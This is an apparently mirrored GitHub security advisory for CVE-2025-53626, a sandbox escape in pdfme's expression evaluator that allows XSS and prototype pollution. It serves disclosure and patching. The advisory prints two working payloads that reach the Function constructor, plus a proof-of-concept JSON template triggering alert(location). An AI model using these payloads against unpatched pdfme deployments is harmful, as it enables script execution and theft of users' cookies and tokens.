ghsa-54xv-94qv-2gfg
Vulnerability from github
Published
2025-07-10 17:43
Modified
2025-07-10 23:23
Summary
@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation
Details

Summary

The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

Details

1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

```javascript // Attack vector 1: Using Object.getOwnPropertyDescriptor { ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access { { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() } ```

Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().

2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain: - __lookupGetter__ - __lookupSetter__ - __defineGetter__ - __defineSetter__

Impact

These vulnerabilities allow attackers to: - Execute arbitrary JavaScript code in the context of the application - Steal sensitive information including cookies and tokens - Modify application behavior through prototype pollution - Potentially perform actions on behalf of users

Proof of Concept

Loading the following template in pdfme triggers alert(location):

json { "schemas": [[{ "name": "field1", "type": "text", "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }", "position": { "x": 0, "y": 0 }, "width": 100, "height": 100 }]], "basePdf": { "width": 100, "height": 100 }, "pdfmeVersion": "5.4.0" }

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@pdfme/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53626"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-10T17:43:52Z",
    "nvd_published_at": "2025-07-10T19:15:27Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThe expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.\n\n## Details\n\n### 1. Sandbox Escape Leading to XSS\n\nThe expression evaluator\u0027s sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:\n\n```javascript\n// Attack vector 1: Using Object.getOwnPropertyDescriptor\n{ ((f, g) =\u003e f(g(Object), \"constructor\").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\"alert(location)\")() }\n\n// Attack vector 2: Using object property access\n{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), \"constructor\").value(\"alert(location)\")() }\n```\n\nBoth payloads bypass the sandbox restrictions and execute `Function(\"alert(location)\")()`.\n\n### 2. Prototype Pollution\n\nThe expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:\n- `__lookupGetter__`\n- `__lookupSetter__`\n- `__defineGetter__`\n- `__defineSetter__`\n\n## Impact\n\nThese vulnerabilities allow attackers to:\n- Execute arbitrary JavaScript code in the context of the application\n- Steal sensitive information including cookies and tokens\n- Modify application behavior through prototype pollution\n- Potentially perform actions on behalf of users\n\n## Proof of Concept\n\nLoading the following template in pdfme triggers `alert(location)`:\n\n```json\n{\n  \"schemas\": [[{\n    \"name\": \"field1\",\n    \"type\": \"text\",\n    \"content\": \"{ ((f, g) =\u003e f(g(Object), \u0027constructor\u0027).value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)(\u0027alert(location)\u0027)() }\",\n    \"position\": { \"x\": 0, \"y\": 0 },\n    \"width\": 100,\n    \"height\": 100\n  }]],\n  \"basePdf\": { \"width\": 100, \"height\": 100 },\n  \"pdfmeVersion\": \"5.4.0\"\n}\n```",
  "id": "GHSA-54xv-94qv-2gfg",
  "modified": "2025-07-10T23:23:06Z",
  "published": "2025-07-10T17:43:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-54xv-94qv-2gfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/pull/1117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/commit/0dd54739acff2c249ed68c001a896bee38f0fd85"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfme/pdfme"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/releases/tag/5.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…